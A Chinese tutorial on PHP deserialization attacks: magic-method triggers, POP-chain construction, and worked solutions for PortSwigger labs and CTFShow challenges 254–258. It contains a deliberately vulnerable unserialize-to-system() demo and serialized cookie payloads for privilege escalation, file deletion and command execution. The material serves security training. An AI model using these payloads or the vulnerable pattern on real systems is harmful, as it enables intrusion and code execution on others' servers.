Web攻防-PHP反序列化魔術方法觸發條件POP鏈構造變量屬性修改黑白盒角度

知識點:
1.WEB攻防-PHP反序列化-序列化和反序列化
2.WEB攻防-PHP反序列化-常見魔術方法觸發規則
3.WEB攻防-PHP反序列化-反序列化漏洞產生原因
4.WEB攻防-PHP反序列化-黑白盒&POP鏈構造

一、演示案例-WEB攻防-PHP反序列化-序列化和反序列化

什么是反序列化操作?

  • 數據類型轉換、主要用于數據傳輸。
    在這里插入圖片描述

  • PHP & JavaEE & .NET & Python
    在這里插入圖片描述
    在這里插入圖片描述

  • 序列化:將對象轉換為數組或字符串等格式

  • 反序列化:將數組或字符串等格式轉換成對象

  • serialize() //將對象轉換成一個字符串,序列化操作

  • unserialize() //將字符串還原成一個對象,反序列化操作

在這里插入圖片描述
在這里插入圖片描述

二、演示案例-WEB攻防-PHP反序列化-常見魔術方法觸發規則

  • 對象邏輯
    在這里插入圖片描述

__construct(): //當對象new的時候會自動調用

在這里插入圖片描述

__destruct()://當對象被銷毀時會被自動調用

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

__sleep(): //serialize()執行時被自動調用

在這里插入圖片描述
在這里插入圖片描述

__wakeup(): //unserialize()時會被自動調用

在這里插入圖片描述

__invoke(): //當嘗試以調用函數的方法調用一個對象時會被自動調用

在這里插入圖片描述
在這里插入圖片描述

__toString(): //把類當作字符串使用時觸發

在這里插入圖片描述
在這里插入圖片描述

__call(): //調用某個方法;若不存在,則會去調用__call函數

在這里插入圖片描述
在這里插入圖片描述

__get(): //讀取對象屬性時,若不存在,則會調用__get函數

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

__set(): //設置對象的屬性時,若不存在,則調用__set函數

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

__isset(): //在不可訪問的屬性上調用isset()或empty()觸發

在這里插入圖片描述
在這里插入圖片描述

__unset(): //在不可訪問的屬性上使用unset()時觸發

在這里插入圖片描述
在這里插入圖片描述

__set_state(),調用var_export()導出類時,此靜態方法會被調用
__clone(),當對象復制完成時調用
__autoload(),嘗試加載未定義的類__debugInfo(),打印所需調試信息
__callStatic(): //在靜態上下文中調用不可訪問的方法時觸發

三、演示案例-WEB攻防-PHP反序列化-反序列化漏洞產生

為什么會出現安全漏洞?

原理:未對用戶輸入的序列化字符串進行檢測,導致攻擊者可以控制反序列化過程,從而導致代碼執行,SQL注入,目錄遍歷等不可控后果。在反序列化的過程中自動觸發了某些魔術方法。當進行反序列化的時候就有可能會觸發對象中的一些魔術方法。

DEMO<?php
class B{
public $cmd='';
public function __destruct(){system($this->cmd);}
}
//函數引用,無對象創建觸發魔術方法
unserialize($_GET['x']);

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

漏洞產生條件

可控變量、反序列函數、引用對象下的魔術方法、魔術方法里的危險函數(例如system等就會造成命令執行漏洞)

四、演示案例-WEB攻防-PHP反序列化-黑白盒&POP鏈構造

反序列化漏洞如何利用?- POP鏈構造

POP:面向屬性編程(Property-Oriented Programing)常用于上層語言構造特定調用鏈的方法,序列化攻擊都在PHP魔術方法中出現可利用的漏洞,因自動調用觸發漏洞,但如關鍵代碼沒在魔術方法中,而是在一個類的普通方法中。這時候就可以通過構造POP鏈尋找相同的函數名將類的屬性和敏感函數的屬性聯系起來。
-反序列化常見起點
-反序列化常見跳板
-反序列化常見終點
-POP鏈核心就是代碼有用的留下,沒用的刪掉

在這里插入圖片描述

黑盒-portswigger-數據序列化

真實情況下,黑盒很難挖到反序列化(基本都是看代碼來挖)
靶場地址:https://portswigger.net/web-security/all-labs#insecure-deserialization

DEMO1-反序列化越權

在這里插入圖片描述
在這里插入圖片描述

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}

在這里插入圖片描述
在這里插入圖片描述

DEMO2-反序列化越權

在這里插入圖片描述

在這里插入圖片描述

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}

在這里插入圖片描述
在這里插入圖片描述

DEMO3-反序列化導致任意文件刪除漏洞

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"elrtoxj3rcx3n1ip4u723mk839qht90h";s:11:"avatar_link";s:19:"users/wiener/avatar";}

白盒-CTFSHOW-訓練POP鏈構造(POP鏈核心就是代碼有用的留下,沒用的刪掉)

254-對象引用執行邏輯

在這里插入圖片描述

payload:
username=xxxxxx&password=xxxxxx

255-反序列化變量修改

在這里插入圖片描述

POP鏈CODE:
1、不修改代碼的用戶密碼
<?php
class ctfShowUser{public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在這里插入圖片描述

payload:
Get:username=xxxxxx&password=xxxxxx
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在這里插入圖片描述

POP鏈CODE:
2、修改代碼的用戶密碼
<?php
class ctfShowUser{public $username='test';public $password='test123';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在這里插入圖片描述

payload:
Get:username=test&password=test123
Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22test123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在這里插入圖片描述

256-反序列化參數修改

在這里插入圖片描述

POP鏈CODE:
<?php
class ctfShowUser{public $username='test';public $password='test1';public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));
?>

在這里插入圖片描述

payload:
GET:username=test&password=test1
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22test1%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

在這里插入圖片描述

257-反序列化參數修改&對象調用邏輯

在這里插入圖片描述

POP鏈CODE:
<?php
class ctfShowUser{public $class = 'backDoor';
public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code='system("tac flag.php");';}
echo urlencode(serialize(new ctfShowUser));
?>

在這里插入圖片描述

payload:
GET:username=xxxxxx&password=xxxxxx
COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

在這里插入圖片描述

258-反序列化參數修改&對象調用邏輯&正則

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

POP鏈CODE:
<?php
class ctfShowUser{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}
class backDoor{public $code="system('tac flag.php');";
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

在這里插入圖片描述

payload:
GET:username=123&password=123
COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/88756.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/88756.shtml
英文地址,請注明出處:http://en.pswp.cn/web/88756.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

C# VB.NET多進程-管道通信,命名管道(Named Pipes)

要向已運行的進程發送特定命令&#xff08;如/exit&#xff09;&#xff0c;而不是啟動新進程&#xff0c;需要使用進程間通信&#xff08;IPC&#xff09;機制。以下是幾種常見的實現方法&#xff1a;一、使用命名管道&#xff08;Named Pipes&#xff09;如果ABC.EXE支持通過…

C++ 右值引用 (Rvalue References)

右值引用是C11引入的革命性特性&#xff0c;它徹底改變了C中資源管理和參數傳遞的方式。下面我將從多個維度深入講解右值引用。一、核心概念1. 值類別(Value Categories)lvalue (左值): 有標識符、可取地址的表達式int x 10; // x是左值 int* p &x; // 可以取地址rvalue…

反激變換器設計全流程(一)——電路拓撲及工作流程

一、電路拓撲原理 拓撲結構概述 開關反激電源采用反激式拓撲結構&#xff0c;主要由開關管&#xff08;通常為 MOSFET&#xff09;、變壓器、輸出整流二極管、輸出濾波電容以及控制電路等組成。其基本工作原理是通過開關管的周期性開關動作&#xff0c;將輸入直流電壓轉換為高…

uniapp語音播報天氣預報微信小程序

1.產品展示2.頁面功能(1)點擊上方按鈕實現語音播報4天天氣情況。3.uniapp代碼<template><view class"container"><view class"header"><text class"place">地址:{{city}}</text><text class"time"&g…

Pycharm 報錯 Environment location directory is not empty 如何解決

好長時間不看不寫代碼了&#xff0c;人也跟著犯糊涂。今天在Pycharm 導入虛擬環境時&#xff0c;一直報錯&#xff1a;“Environment location directory is not empty”&#xff0c;在網上百度很多很多方法都無法解決&#xff0c;直到我翻出我之前自己寫的導入虛擬環境的詳細過…

React強大且靈活hooks庫——ahooks入門實踐之場景類(scene)hook詳解

什么是 ahooks&#xff1f; ahooks 是一個 React Hooks 庫&#xff0c;提供了大量實用的自定義 hooks&#xff0c;幫助開發者更高效地構建 React 應用。其中場景類 hooks 是 ahooks 的一個重要分類&#xff0c;專門針對特定業務場景提供解決方案。 安裝 ahooks npm install …

大模型之Langchain篇(二)——RAG

寫在前面 跟著樓蘭老師學習【LangChain教程】2025吃透LangChain框架快速上手與深度實戰&#xff0c;全程干貨無廢話&#xff0c;三天學完&#xff0c;讓你少走百分之99彎路&#xff01;_嗶哩嗶哩_bilibili 計算相似度 一般用的余弦相似度&#xff0c;這里只是演示計算。 fr…

深入理解圖像二值化:從靜態圖像到視頻流實時處理

一、引言&#xff1a;圖像分析&#xff0c;從“黑與白”開始在計算機視覺任務中&#xff0c;**圖像二值化&#xff08;Image Binarization&#xff09;**是最基礎也是最關鍵的圖像預處理技術之一。它通過將灰度圖像中每個像素轉換為兩個離散值&#xff08;通常是0和255&#xf…

云蝠智能 VoiceAgent重構企業呼入場景服務范式

在數字化轉型浪潮中&#xff0c;企業呼入場景面臨客戶服務需求激增與人力成本攀升的雙重挑戰。傳統呼叫中心日均處理僅 300-500 通電話&#xff0c;人力成本占比超 60%&#xff0c;且服務質量受情緒波動影響顯著。云蝠智能推出的 VoiceAgent 語音智能體&#xff0c;通過全棧自研…

java進階(一)+學習筆記

1.JAVA設計模式1.1 什么是設計模式設計模式是軟件開發過程中前輩們在長期實踐中針對重復出現的問題總結出來的最佳解決方案。這些模式不是具體的代碼實現&#xff0c;而是經過驗證的、可重用的設計思想&#xff0c;能夠幫助開發者更高效地解決特定類型的問題。設計模式的重要性…

Pandas-數據清洗與處理

Pandas-數據清洗與處理一、數據清洗的核心目標二、缺失值處理1. 缺失值檢測2. 缺失值處理策略&#xff08;1&#xff09;刪除法&#xff08;2&#xff09;填充法三、異常值識別與處理1. 異常值檢測方法&#xff08;1&#xff09;統計法&#xff08;2&#xff09;業務規則法2. 異…

在 MacOS 上安裝和配置 Kafka

消息代理是一種軟件&#xff0c;充當在不同應用程序之間發送消息的中介。它的功能類似于服務器&#xff0c;從一個應用程序&#xff08;稱為生產者&#xff09;接收消息&#xff0c;并將其路由到一個或多個其他應用程序&#xff08;稱為消費者&#xff09;。消息代理的主要目的…

基于Leaflet調用天地圖在線API的多層級地名檢索實戰

目錄 前言 一、天地圖在線檢索 1、在線檢索功能 2、再談后后接口 二、Leaflet多層級實現實例 1、層級調用實現原理 2、Leaflet中多層級調用 3、成果展示 三、總結 前言 “地圖是世界的索引&#xff0c;而地名則是索引中的索引。”當互聯網地圖進入 Web 2.0 時代&#x…

基于Prompt結構的語校解析:3H日本語學校信息建模實錄(4/500)

基于Prompt結構的語校解析&#xff1a;3H日本語學校信息建模實錄&#xff08;4/500&#xff09; 系列延續&#xff1a;500所日本語言學校結構數據工程 關鍵詞&#xff1a;招生結構、JLPTEJU、國籍比例、認定校、Prompt訓練集 一、我們在構建什么樣的語言學校語料&#xff1f; …

Leaflet面試題及答案(61-80)

查看本專欄目錄 文章目錄 ?? 面試問題及答案(61-80)61. 如何在地圖上顯示一個動態更新的圖層?62. 如何實現地圖上的熱力圖(Heatmap)?63. 如何自定義地圖控件的位置?64. 如何處理地圖加載失敗的情況?65. 如何實現地圖的離線功能?66. 如何將地圖導出為圖片?67. 如何實…

MIG_IP核的時鐘系統

MIG_IP核的時鐘系統時鐘的種類和配置時鐘的種類和配置 整體框圖 DDR_PHY_CLK&#xff1a;DDR3的工作頻率&#xff0c;用來得到想要的線速率。假設此時鐘為800M&#xff0c;那么DDR雙沿采樣&#xff0c;線速率為1600Mbit&#xff1b; UI_CLK&#xff1a;DDR_PHY_CLK的四分之一…

若依框架集成阿里云OSS實現文件上傳優化

背景介紹 在若依框架目前的實現中&#xff0c;是把圖片存儲到了服務器本地的目錄&#xff0c;通過服務進行訪問&#xff0c;這樣做存儲的是比較省事&#xff0c;但是缺點也有很多&#xff1a; 硬件與網絡要求&#xff1a;服務器通常需要高性能的硬件和穩定的網絡環境&#xff0…

Mac如何連接惠普M126a打印機(教程篇)

這里寫自定義目錄標題Mac如何連接惠普M126a打印機&#xff08;教程篇&#xff09;教程配置如下&#xff1a;Mac如何連接惠普M126a打印機&#xff08;教程篇&#xff09; 惠普M126a連接Mac&#xff08;教程篇&#xff09; 教程配置如下&#xff1a; 首先&#xff0c;先獲取與HP打…

感恩日記:記錄生活中的美好時刻

感恩日記的landing page登錄注冊填寫感恩事項私信可以體驗一下

一扇門鈴,萬向感應——用 eventfd 實現零延遲通信

&#x1f50d; 本篇概要 eventfd 是 Linux 提供的一種輕量級事件通知機制。你可以把它想象成一個“計數器盒子”。它里面維護的是一個64位的計數器。寫入&#xff1a;往盒子里放一些數字&#xff08;比如 1、5、10&#xff09;&#xff0c;表示有幾件事發生了。讀取&#xff1a…